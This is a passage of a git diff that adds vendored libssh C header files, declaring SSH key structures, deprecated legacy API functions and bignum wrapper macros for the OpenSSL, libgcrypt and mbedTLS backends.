new file mode 100644 index 0000000..615f1ea --- /dev/null +++ b/vendor/libssh/include/libssh/keys.h @@ -0,0 +1,78 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef KEYS_H_ +#define KEYS_H_ + +#include "config.h" +#include "libssh/libssh.h" +#include "libssh/wrapper.h" + +struct ssh_public_key_struct { + int type; + const char *type_c; /* Don't free it ! it is static */ +#if defined(HAVE_LIBGCRYPT) + gcry_sexp_t dsa_pub; + gcry_sexp_t rsa_pub; +#elif defined(HAVE_LIBCRYPTO) +#if OPENSSL_VERSION_NUMBER < 0x30000000L + DSA *dsa_pub; + RSA *rsa_pub; +#else /* OPENSSL_VERSION_NUMBER */ + EVP_PKEY *key_pub; +#endif +#elif defined(HAVE_LIBMBEDCRYPTO) + mbedtls_pk_context *rsa_pub; + void *dsa_pub; +#endif +}; + +struct ssh_private_key_struct { + int type; +#if defined(HAVE_LIBGCRYPT) + gcry_sexp_t dsa_priv; + gcry_sexp_t rsa_priv; +#elif defined(HAVE_LIBCRYPTO) +#if OPENSSL_VERSION_NUMBER < 0x30000000L + DSA *dsa_priv; + RSA *rsa_priv; +#else + EVP_PKEY *key_priv; +#endif /* OPENSSL_VERSION_NUMBER */ +#elif defined(HAVE_LIBMBEDCRYPTO) + mbedtls_pk_context *rsa_priv; + void *dsa_priv; +#endif +}; + +#ifdef __cplusplus +extern "C" { +#endif + +const char *ssh_type_to_char(int type); +int ssh_type_from_name(const char *name); + +ssh_public_key publickey_from_string(ssh_session session, ssh_string pubkey_s); + +#ifdef __cplusplus +} +#endif + +#endif /* KEYS_H_ */ diff --git a/vendor/libssh/include/libssh/knownhosts.h b/vendor/libssh/include/libssh/knownhosts.h new file mode 100644 index 0000000..b50018c --- /dev/null +++ b/vendor/libssh/include/libssh/knownhosts.h @@ -0,0 +1,40 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 20014 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + + +#ifndef SSH_KNOWNHOSTS_H_ +#define SSH_KNOWNHOSTS_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +struct ssh_list *ssh_known_hosts_get_algorithms(ssh_session session); +char *ssh_known_hosts_get_algorithms_names(ssh_session session); +enum ssh_known_hosts_e +ssh_session_get_known_hosts_entry_file(ssh_session session, + const char *filename, + struct ssh_knownhosts_entry **pentry); + +#ifdef __cplusplus +} +#endif + +#endif /* SSH_KNOWNHOSTS_H_ */ diff --git a/vendor/libssh/include/libssh/legacy.h b/vendor/libssh/include/libssh/legacy.h new file mode 100644 index 0000000..38bef4d --- /dev/null +++ b/vendor/libssh/include/libssh/legacy.h @@ -0,0 +1,128 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2010 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +/* Since libssh.h includes legacy.h, it's important that libssh.h is included + * first. we don't define LEGACY_H now because we want it to be defined when + * included from libssh.h + * All function calls declared in this header are deprecated and meant to be + * removed in future. + */ + +#ifndef LEGACY_H_ +#define LEGACY_H_ + +typedef struct ssh_private_key_struct* ssh_private_key; +typedef struct ssh_public_key_struct* ssh_public_key; + +#ifdef __cplusplus +extern "C" { +#endif + +LIBSSH_API int ssh_auth_list(ssh_session session); +LIBSSH_API int ssh_userauth_offer_pubkey(ssh_session session, const char *username, int type, ssh_string publickey); +LIBSSH_API int ssh_userauth_pubkey(ssh_session session, const char *username, ssh_string publickey, ssh_private_key privatekey); +#ifndef _WIN32 +LIBSSH_API int ssh_userauth_agent_pubkey(ssh_session session, const char *username, + ssh_public_key publickey); +#endif +LIBSSH_API int ssh_userauth_autopubkey(ssh_session session, const char *passphrase); +LIBSSH_API int ssh_userauth_privatekey_file(ssh_session session, const char *username, + const char *filename, const char *passphrase); + +SSH_DEPRECATED LIBSSH_API void buffer_free(ssh_buffer buffer); +SSH_DEPRECATED LIBSSH_API void *buffer_get(ssh_buffer buffer); +SSH_DEPRECATED LIBSSH_API uint32_t buffer_get_len(ssh_buffer buffer); +SSH_DEPRECATED LIBSSH_API ssh_buffer buffer_new(void); + +SSH_DEPRECATED LIBSSH_API ssh_channel channel_accept_x11(ssh_channel channel, int timeout_ms); +SSH_DEPRECATED LIBSSH_API int channel_change_pty_size(ssh_channel channel,int cols,int rows); +SSH_DEPRECATED LIBSSH_API ssh_channel channel_forward_accept(ssh_session session, int timeout_ms); +SSH_DEPRECATED LIBSSH_API int channel_close(ssh_channel channel); +SSH_DEPRECATED LIBSSH_API int channel_forward_cancel(ssh_session session, const char *address, int port); +SSH_DEPRECATED LIBSSH_API int channel_forward_listen(ssh_session session, const char *address, int port, int *bound_port); +SSH_DEPRECATED LIBSSH_API void channel_free(ssh_channel channel); +SSH_DEPRECATED LIBSSH_API int channel_get_exit_status(ssh_channel channel); +SSH_DEPRECATED LIBSSH_API ssh_session channel_get_session(ssh_channel channel); +SSH_DEPRECATED LIBSSH_API int channel_is_closed(ssh_channel channel); +SSH_DEPRECATED LIBSSH_API int channel_is_eof(ssh_channel channel); +SSH_DEPRECATED LIBSSH_API int channel_is_open(ssh_channel channel); +SSH_DEPRECATED LIBSSH_API ssh_channel channel_new(ssh_session session); +SSH_DEPRECATED LIBSSH_API int channel_open_forward(ssh_channel channel, const char *remotehost, + int remoteport, const char *sourcehost, int localport); +SSH_DEPRECATED LIBSSH_API int channel_open_session(ssh_channel channel); +SSH_DEPRECATED LIBSSH_API int channel_poll(ssh_channel channel, int is_stderr); +SSH_DEPRECATED LIBSSH_API int channel_read(ssh_channel channel, void *dest, uint32_t count, int is_stderr); + +SSH_DEPRECATED LIBSSH_API int channel_read_buffer(ssh_channel channel, ssh_buffer buffer, uint32_t count, + int is_stderr); + +SSH_DEPRECATED LIBSSH_API int channel_read_nonblocking(ssh_channel channel, void *dest, uint32_t count, + int is_stderr); +SSH_DEPRECATED LIBSSH_API int channel_request_env(ssh_channel channel, const char *name, const char *value); +SSH_DEPRECATED LIBSSH_API int channel_request_exec(ssh_channel channel, const char *cmd); +SSH_DEPRECATED LIBSSH_API int channel_request_pty(ssh_channel channel); +SSH_DEPRECATED LIBSSH_API int channel_request_pty_size(ssh_channel channel, const char *term, + int cols, int rows); +SSH_DEPRECATED LIBSSH_API int channel_request_shell(ssh_channel channel); +SSH_DEPRECATED LIBSSH_API int channel_request_send_signal(ssh_channel channel, const char *signum); +SSH_DEPRECATED LIBSSH_API int channel_request_sftp(ssh_channel channel); +SSH_DEPRECATED LIBSSH_API int channel_request_subsystem(ssh_channel channel, const char *subsystem); +SSH_DEPRECATED LIBSSH_API int channel_request_x11(ssh_channel channel, int single_connection, const char *protocol, + const char *cookie, int screen_number); +SSH_DEPRECATED LIBSSH_API int channel_send_eof(ssh_channel channel); +SSH_DEPRECATED LIBSSH_API int channel_select(ssh_channel *readchans, ssh_channel *writechans, ssh_channel *exceptchans, struct + timeval * timeout); +SSH_DEPRECATED LIBSSH_API void channel_set_blocking(ssh_channel channel, int blocking); +SSH_DEPRECATED LIBSSH_API int channel_write(ssh_channel channel, const void *data, uint32_t len); + +SSH_DEPRECATED LIBSSH_API void privatekey_free(ssh_private_key prv); +SSH_DEPRECATED LIBSSH_API ssh_private_key privatekey_from_file(ssh_session session, const char *filename, + int type, const char *passphrase); +SSH_DEPRECATED LIBSSH_API void publickey_free(ssh_public_key key); +SSH_DEPRECATED LIBSSH_API int ssh_publickey_to_file(ssh_session session, const char *file, + ssh_string pubkey, int type); +SSH_DEPRECATED LIBSSH_API ssh_string publickey_from_file(ssh_session session, const char *filename, + int *type); +SSH_DEPRECATED LIBSSH_API ssh_public_key publickey_from_privatekey(ssh_private_key prv); +SSH_DEPRECATED LIBSSH_API ssh_string publickey_to_string(ssh_public_key key); +SSH_DEPRECATED LIBSSH_API int ssh_try_publickey_from_file(ssh_session session, const char *keyfile, + ssh_string *publickey, int *type); +SSH_DEPRECATED LIBSSH_API enum ssh_keytypes_e ssh_privatekey_type(ssh_private_key privatekey); + +LIBSSH_API ssh_string ssh_get_pubkey(ssh_session session); + +LIBSSH_API ssh_message ssh_message_retrieve(ssh_session session, uint32_t packettype); +LIBSSH_API ssh_public_key ssh_message_auth_publickey(ssh_message msg); + +SSH_DEPRECATED LIBSSH_API void string_burn(ssh_string str); +SSH_DEPRECATED LIBSSH_API ssh_string string_copy(ssh_string str); +SSH_DEPRECATED LIBSSH_API void *string_data(ssh_string str); +SSH_DEPRECATED LIBSSH_API int string_fill(ssh_string str, const void *data, size_t len); +SSH_DEPRECATED LIBSSH_API void string_free(ssh_string str); +SSH_DEPRECATED LIBSSH_API ssh_string string_from_char(const char *what); +SSH_DEPRECATED LIBSSH_API size_t string_len(ssh_string str); +SSH_DEPRECATED LIBSSH_API ssh_string string_new(size_t size); +SSH_DEPRECATED LIBSSH_API char *string_to_char(ssh_string str); + +#ifdef __cplusplus +} +#endif + +#endif /* LEGACY_H_ */ diff --git a/vendor/libssh/include/libssh/libcrypto.h b/vendor/libssh/include/libssh/libcrypto.h new file mode 100644 index 0000000..17bfff5 --- /dev/null +++ b/vendor/libssh/include/libssh/libcrypto.h @@ -0,0 +1,116 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef LIBCRYPTO_H_ +#define LIBCRYPTO_H_ + +#include "config.h" + +#ifdef HAVE_LIBCRYPTO + +#include +#include +#include +#include +#include +#include +#include + +typedef EVP_MD_CTX* SHACTX; +typedef EVP_MD_CTX* SHA256CTX; +typedef EVP_MD_CTX* SHA384CTX; +typedef EVP_MD_CTX* SHA512CTX; +typedef EVP_MD_CTX* MD5CTX; +typedef EVP_MD_CTX* HMACCTX; + +#define SHA_DIGEST_LEN SHA_DIGEST_LENGTH +#define SHA256_DIGEST_LEN SHA256_DIGEST_LENGTH +#define SHA384_DIGEST_LEN SHA384_DIGEST_LENGTH +#define SHA512_DIGEST_LEN SHA512_DIGEST_LENGTH +#ifdef MD5_DIGEST_LEN + #undef MD5_DIGEST_LEN +#endif +#define MD5_DIGEST_LEN MD5_DIGEST_LENGTH + +#ifdef HAVE_OPENSSL_ECC +#define EVP_DIGEST_LEN EVP_MAX_MD_SIZE +#endif + +#include +#include +typedef BIGNUM* bignum; +typedef const BIGNUM* const_bignum; +typedef BN_CTX* bignum_CTX; + +#define bignum_new() BN_new() +#define bignum_safe_free(num) do { \ + if ((num) != NULL) { \ + BN_clear_free((num)); \ + (num)=NULL; \ + } \ + } while(0) +#define bignum_set_word(bn,n) BN_set_word(bn,n) +#define bignum_bin2bn(data, datalen, dest) \ + do { \ + (*dest) = BN_new(); \ + if ((*dest) != NULL) { \ + BN_bin2bn(data,datalen,(*dest)); \ + } \ + } while(0) +#define bignum_bn2dec(num) BN_bn2dec(num) +#define bignum_dec2bn(data, bn) BN_dec2bn(bn, data) +#define bignum_hex2bn(data, bn) BN_hex2bn(bn, data) +#define bignum_bn2hex(num, dest) (*dest)=(unsigned char *)BN_bn2hex(num) +#define bignum_rand(rnd, bits) BN_rand(rnd, bits, 0, 1) +#define bignum_rand_range(rnd, max) BN_rand_range(rnd, max) +#define bignum_ctx_new() BN_CTX_new() +#define bignum_ctx_free(num) BN_CTX_free(num) +#define bignum_ctx_invalid(ctx) ((ctx) == NULL) +#define bignum_mod_exp(dest,generator,exp,modulo,ctx) BN_mod_exp(dest,generator,exp,modulo,ctx) +#define bignum_add(dest, a, b) BN_add(dest, a, b) +#define bignum_sub(dest, a, b) BN_sub(dest, a, b) +#define bignum_mod(dest, a, b, ctx) BN_mod(dest, a, b, ctx) +#define bignum_num_bytes(num) (size_t)BN_num_bytes(num) +#define bignum_num_bits(num) (size_t)BN_num_bits(num) +#define bignum_is_bit_set(num,bit) BN_is_bit_set(num, (int)bit) +#define bignum_bn2bin(num,len, ptr) BN_bn2bin(num, ptr) +#define bignum_cmp(num1,num2) BN_cmp(num1,num2) +#define bignum_rshift1(dest, src) BN_rshift1(dest, src) +#define bignum_dup(orig, dest) do { \ + if (*(dest) == NULL) { \ + *(dest) = BN_dup(orig); \ + } else { \ + BN_copy(*(dest), orig); \ + } \ + } while(0) + + +/* Returns true if the OpenSSL is operating in FIPS mode */ +#ifdef HAVE_OPENSSL_FIPS_MODE +#define ssh_fips_mode() 0 +#elif OPENSSL_VERSION_NUMBER >= 0x30000000L +#define ssh_fips_mode() EVP_default_properties_is_fips_enabled(NULL) +#else +#define ssh_fips_mode() false +#endif + +#endif /* HAVE_LIBCRYPTO */ + +#endif /* LIBCRYPTO_H_ */ diff --git a/vendor/libssh/include/libssh/libgcrypt.h b/vendor/libssh/include/libssh/libgcrypt.h new file mode 100644 index 0000000..c6afc22 --- /dev/null +++ b/vendor/libssh/include/libssh/libgcrypt.h @@ -0,0 +1,126 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef LIBGCRYPT_H_ +#define LIBGCRYPT_H_ + +#include "config.h" + +#ifdef HAVE_LIBGCRYPT + +#include +typedef gcry_md_hd_t SHACTX; +typedef gcry_md_hd_t SHA256CTX; +typedef gcry_md_hd_t SHA384CTX; +typedef gcry_md_hd_t SHA512CTX; +typedef gcry_md_hd_t MD5CTX; +typedef gcry_md_hd_t HMACCTX; +#define SHA_DIGEST_LENGTH 20 +#define SHA_DIGEST_LEN SHA_DIGEST_LENGTH +#define MD5_DIGEST_LEN 16 +#define SHA256_DIGEST_LENGTH 32 +#define SHA256_DIGEST_LEN SHA256_DIGEST_LENGTH +#define SHA384_DIGEST_LENGTH 48 +#define SHA384_DIGEST_LEN SHA384_DIGEST_LENGTH +#define SHA512_DIGEST_LENGTH 64 +#define SHA512_DIGEST_LEN SHA512_DIGEST_LENGTH + +#ifndef EVP_MAX_MD_SIZE +#define EVP_MAX_MD_SIZE 64 +#endif + +#define EVP_DIGEST_LEN EVP_MAX_MD_SIZE + +typedef gcry_mpi_t bignum; +typedef const struct gcry_mpi *const_bignum; +typedef void* bignum_CTX; + +/* Constants for curves. */ +#define NID_gcrypt_nistp256 0 +#define NID_gcrypt_nistp384 1 +#define NID_gcrypt_nistp521 2 + +/* missing gcrypt functions */ +int ssh_gcry_dec2bn(bignum *bn, const char *data); +char *ssh_gcry_bn2dec(bignum bn); +int ssh_gcry_rand_range(bignum rnd, bignum max); + +#define bignum_new() gcry_mpi_new(0) +#define bignum_safe_free(num) do { \ + if ((num) != NULL) { \ + gcry_mpi_release((num)); \ + (num)=NULL; \ + } \ + } while (0) +#define bignum_free(num) gcry_mpi_release(num) +#define bignum_ctx_new() NULL +#define bignum_ctx_free(ctx) do {(ctx) = NULL;} while(0) +#define bignum_ctx_invalid(ctx) (ctx != NULL) +#define bignum_set_word(bn,n) (gcry_mpi_set_ui(bn,n)!=NULL ? 1 : 0) +#define bignum_bin2bn(data,datalen,dest) gcry_mpi_scan(dest,GCRYMPI_FMT_USG,data,datalen,NULL) +#define bignum_bn2dec(num) ssh_gcry_bn2dec(num) +#define bignum_dec2bn(num, data) ssh_gcry_dec2bn(data, num) + +#define bignum_bn2hex(num, data) \ + gcry_mpi_aprint(GCRYMPI_FMT_HEX, data, NULL, (const gcry_mpi_t)num) + +#define bignum_hex2bn(data, num) (gcry_mpi_scan(num,GCRYMPI_FMT_HEX,data,0,NULL)==0?1:0) +#define bignum_rand(num,bits) 1,gcry_mpi_randomize(num,bits,GCRY_STRONG_RANDOM),gcry_mpi_set_bit(num,bits-1),gcry_mpi_set_bit(num,0) +#define bignum_mod_exp(dest,generator,exp,modulo, ctx) 1,gcry_mpi_powm(dest,generator,exp,modulo) +#define bignum_num_bits(num) gcry_mpi_get_nbits(num) +#define bignum_num_bytes(num) ((gcry_mpi_get_nbits(num)+7)/8) +#define bignum_is_bit_set(num,bit) gcry_mpi_test_bit(num,bit) +#define bignum_bn2bin(num,datalen,data) gcry_mpi_print(GCRYMPI_FMT_USG,data,datalen,NULL,num) +#define bignum_cmp(num1,num2) gcry_mpi_cmp(num1,num2) +#define bignum_rshift1(dest, src) gcry_mpi_rshift (dest, src, 1) +#define bignum_add(dst, a, b) gcry_mpi_add(dst, a, b) +#define bignum_sub(dst, a, b) gcry_mpi_sub(dst, a, b) +#define bignum_mod(dst, a, b, ctx) 1,gcry_mpi_mod(dst, a, b) +#define bignum_rand_range(rnd, max) ssh_gcry_rand_range(rnd, max); +#define bignum_dup(orig, dest) do { \ + if (*(dest) == NULL) { \ + *(dest) = gcry_mpi_copy(orig); \ + } else { \ + gcry_mpi_set(*(dest), orig); \ + } \ + } while(0) +/* Helper functions for data conversions. */ + +#ifdef __cplusplus +extern "C" { +#endif + +/* Extract an MPI from the given s-expression SEXP named NAME which is + encoded using INFORMAT and store it in a newly allocated ssh_string + encoded using OUTFORMAT. */ +ssh_string ssh_sexp_extract_mpi(const gcry_sexp_t sexp, + const char *name, + enum gcry_mpi_format informat, + enum gcry_mpi_format outformat); + +#define ssh_fips_mode() false + +#ifdef __cplusplus +} +#endif + +#endif /* HAVE_LIBGCRYPT */ + +#endif /* LIBGCRYPT_H_ */ diff --git a/vendor/libssh/include/libssh/libmbedcrypto.h b/vendor/libssh/include/libssh/libmbedcrypto.h new file mode 100644 index 0000000..540a025 --- /dev/null +++ b/vendor/libssh/include/libssh/libmbedcrypto.h @@ -0,0 +1,147 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2017 Sartura d.o.o. + * + * Author: Juraj Vijtiuk + * + * The SSH Library is free software; you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation; either version 2.1 of the License, or (at your + * option) any later version. + * + * The SSH Library is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY + * or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public + * License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with the SSH Library; see the file COPYING. If not, write to + * the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, + * MA 02111-1307, USA. + */ + +#ifndef LIBMBEDCRYPTO_H_ +#define LIBMBEDCRYPTO_H_ + +#include "config.h" + +#ifdef HAVE_LIBMBEDCRYPTO + +#include +#include +#include +#include +#include +#include + +typedef mbedtls_md_context_t *SHACTX; +typedef mbedtls_md_context_t *SHA256CTX; +typedef mbedtls_md_context_t *SHA384CTX; +typedef mbedtls_md_context_t *SHA512CTX; +typedef mbedtls_md_context_t *MD5CTX; +typedef mbedtls_md_context_t *HMACCTX; + +#define SHA_DIGEST_LENGTH 20 +#define SHA_DIGEST_LEN SHA_DIGEST_LENGTH +#define MD5_DIGEST_LEN 16 +#define SHA256_DIGEST_LENGTH 32 +#define SHA256_DIGEST_LEN SHA256_DIGEST_LENGTH +#define SHA384_DIGEST_LENGTH 48 +#define SHA384_DIGEST_LEN SHA384_DIGEST_LENGTH +#define SHA512_DIGEST_LENGTH 64 +#define SHA512_DIGEST_LEN SHA512_DIGEST_LENGTH + +#ifndef EVP_MAX_MD_SIZE +#define EVP_MAX_MD_SIZE 64 +#endif + +#define EVP_DIGEST_LEN EVP_MAX_MD_SIZE + +typedef mbedtls_mpi *bignum; +typedef const mbedtls_mpi *const_bignum; +typedef void* bignum_CTX; + +/* Constants for curves */ +#define NID_mbedtls_nistp256 0 +#define NID_mbedtls_nistp384 1 +#define NID_mbedtls_nistp521 2 + +struct mbedtls_ecdsa_sig { + bignum r; + bignum s; +}; + +#ifdef __cplusplus +extern "C" { +#endif + +bignum ssh_mbedcry_bn_new(void); +void ssh_mbedcry_bn_free(bignum num); +unsigned char *ssh_mbedcry_bn2num(const_bignum num, int radix); +int ssh_mbedcry_rand(bignum rnd, int bits, int top, int bottom); +int ssh_mbedcry_is_bit_set(bignum num, size_t pos); +int ssh_mbedcry_rand_range(bignum dest, bignum max); +int ssh_mbedcry_hex2bn(bignum *dest, char *data); + +#define bignum_new() ssh_mbedcry_bn_new() +#define bignum_safe_free(num) do { \ + if ((num) != NULL) { \ + ssh_mbedcry_bn_free(num); \ + (num)=NULL; \ + } \ + } while(0) +#define bignum_ctx_new() NULL +#define bignum_ctx_free(num) do {(num) = NULL;} while(0) +#define bignum_ctx_invalid(ctx) (ctx == NULL?0:1) +#define bignum_set_word(bn, n) (mbedtls_mpi_lset(bn, n)==0?1:0) /* TODO fix + overflow/underflow */ +#define bignum_bin2bn(data, datalen, bn) do { \ + *(bn) = bignum_new(); \ + if (*(bn) != NULL) { \ + mbedtls_mpi_read_binary(*(bn), data, datalen); \ + } \ + } while(0) +#define bignum_bn2dec(num) ssh_mbedcry_bn2num(num, 10) +#define bignum_dec2bn(data, bn) mbedtls_mpi_read_string(bn, 10, data) +#define bignum_bn2hex(num, dest) (*dest)=ssh_mbedcry_bn2num(num, 16) +#define bignum_hex2bn(data, dest) ssh_mbedcry_hex2bn(dest, data) +#define bignum_rand(rnd, bits) ssh_mbedcry_rand((rnd), (bits), 0, 1) +#define bignum_rand_range(rnd, max) ssh_mbedcry_rand_range(rnd, max) +#define bignum_mod_exp(dest, generator, exp, modulo, ctx) \ + (mbedtls_mpi_exp_mod(dest, generator, exp, modulo, NULL)==0?1:0) +#define bignum_add(dest, a, b) mbedtls_mpi_add_mpi(dest, a, b) +#define bignum_sub(dest, a, b) mbedtls_mpi_sub_mpi(dest, a, b) +#define bignum_mod(dest, a, b, ctx) \ + (mbedtls_mpi_mod_mpi(dest, a, b) == 0 ? 1 : 0) +#define bignum_num_bytes(num) mbedtls_mpi_size(num) +#define bignum_num_bits(num) mbedtls_mpi_bitlen(num) +#define bignum_is_bit_set(num, bit) ssh_mbedcry_is_bit_set(num, bit) +#define bignum_bn2bin(num, len, ptr) mbedtls_mpi_write_binary(num, ptr, \ + mbedtls_mpi_size(num)) +#define bignum_cmp(num1, num2) mbedtls_mpi_cmp_mpi(num1, num2) +#define bignum_rshift1(dest, src) mbedtls_mpi_copy(dest, src), mbedtls_mpi_shift_r(dest, 1) +#define bignum_dup(orig, dest) do { \ + if (*(dest) == NULL) { \ + *(dest) = bignum_new(); \ + } \ + if (*(dest) != NULL) { \ + mbedtls_mpi_copy(orig, *(dest)); \ + } \ + } while(0) + +mbedtls_ctr_drbg_context *ssh_get_mbedtls_ctr_drbg_context(void); + +int ssh_mbedtls_random(void *where, int len, int strong); + +ssh_string make_ecpoint_string(const mbedtls_ecp_group *g, const + mbedtls_ecp_point *p); + +#define ssh_fips_mode() false + +#ifdef __cplusplus +} +#endif + +#endif /* HAVE_LIBMBEDCRYPTO */ +#endif /* LIBMBEDCRYPTO_H_ */ diff --git a/vendor/libssh/include/libssh/libssh.h b/vendor/libssh/include/libssh/libssh.h new file mode 100644 index 0000000..669a0a9 --- /dev/null +++ b/vendor/libssh/include/libssh/libssh.h @@ -0,0 +1,853 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2003-2023 by Aris Adamantiadis and the libssh team + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef _LIBSSH_H +#define _LIBSSH_H + +#include + +#if defined _WIN32 || defined __CYGWIN__ + #ifdef LIBSSH_STATIC + #define LIBSSH_API + #else + #ifdef LIBSSH_EXPORTS + #ifdef __GNUC__ + #define LIBSSH_API __attribute__((dllexport)) + #else + #define LIBSSH_API __declspec(dllexport) + #endif + #else + #ifdef __GNUC__ + #define LIBSSH_API __attribute__((dllimport)) + #else + #define LIBSSH_API __declspec(dllimport) + #endif + #endif + #endif +#else + #if __GNUC__ >= 4 && !defined(__OS2__) + #define LIBSSH_API __attribute__((visibility("default"))) + #else + #define LIBSSH_API + #endif +#endif + +#include + +#ifdef _MSC_VER + /* Visual Studio hasn't inttypes.h so it doesn't know uint32_t */ + typedef int int32_t; + typedef unsigned int uint32_t; + typedef unsigned short uint16_t; + typedef unsigned char uint8_t; + typedef unsigned long long uint64_t; + typedef int mode_t; +#else /* _MSC_VER */ + #include + #include + #include +#endif /* _MSC_VER */ + +#ifdef _WIN32 + #include +#else /* _WIN32 */ + #include /* for fd_set * */ + #include +#endif /* _WIN32 */ + +#define SSH_STRINGIFY(s) SSH_TOSTRING(s) +#define SSH_TOSTRING(s) #s + +/* GCC have printf type attribute check. */ +#ifdef __GNUC__ +#define PRINTF_ATTRIBUTE(a,b) __attribute__ ((__format__ (__printf__, a, b))) +#else +#define PRINTF_ATTRIBUTE(a,b) +#endif /* __GNUC__ */ + +#if !defined(SSH_SUPPRESS_DEPRECATED) && defined(__GNUC__) +#define SSH_DEPRECATED __attribute__ ((deprecated)) +#else +#define SSH_DEPRECATED +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +struct ssh_counter_struct { + uint64_t in_bytes; + uint64_t out_bytes; + uint64_t in_packets; + uint64_t out_packets; +}; +typedef struct ssh_counter_struct *ssh_counter; + +typedef struct ssh_agent_struct* ssh_agent; +typedef struct ssh_buffer_struct* ssh_buffer; +typedef struct ssh_channel_struct* ssh_channel; +typedef struct ssh_message_struct* ssh_message; +typedef struct ssh_pcap_file_struct* ssh_pcap_file; +typedef struct ssh_key_struct* ssh_key; +typedef struct ssh_scp_struct* ssh_scp; +typedef struct ssh_session_struct* ssh_session; +typedef struct ssh_string_struct* ssh_string; +typedef struct ssh_event_struct* ssh_event; +typedef struct ssh_connector_struct * ssh_connector; +typedef void* ssh_gssapi_creds; + +/* Socket type */ +#ifdef _WIN32 +#ifndef socket_t +typedef SOCKET socket_t; +#endif /* socket_t */ +#else /* _WIN32 */ +#ifndef socket_t +typedef int socket_t; +#endif +#endif /* _WIN32 */ + +#define SSH_INVALID_SOCKET ((socket_t) -1) + +/* the offsets of methods */ +enum ssh_kex_types_e { + SSH_KEX=0, + SSH_HOSTKEYS, + SSH_CRYPT_C_S, + SSH_CRYPT_S_C, + SSH_MAC_C_S, + SSH_MAC_S_C, + SSH_COMP_C_S, + SSH_COMP_S_C, + SSH_LANG_C_S, + SSH_LANG_S_C +}; + +#define SSH_CRYPT 2 +#define SSH_MAC 3 +#define SSH_COMP 4 +#define SSH_LANG 5 + +enum ssh_auth_e { + SSH_AUTH_SUCCESS=0, + SSH_AUTH_DENIED, + SSH_AUTH_PARTIAL, + SSH_AUTH_INFO, + SSH_AUTH_AGAIN, + SSH_AUTH_ERROR=-1 +}; + +/* auth flags */ +#define SSH_AUTH_METHOD_UNKNOWN 0x0000u +#define SSH_AUTH_METHOD_NONE 0x0001u +#define SSH_AUTH_METHOD_PASSWORD 0x0002u +#define SSH_AUTH_METHOD_PUBLICKEY 0x0004u +#define SSH_AUTH_METHOD_HOSTBASED 0x0008u +#define SSH_AUTH_METHOD_INTERACTIVE 0x0010u +#define SSH_AUTH_METHOD_GSSAPI_MIC 0x0020u + +/* messages */ +enum 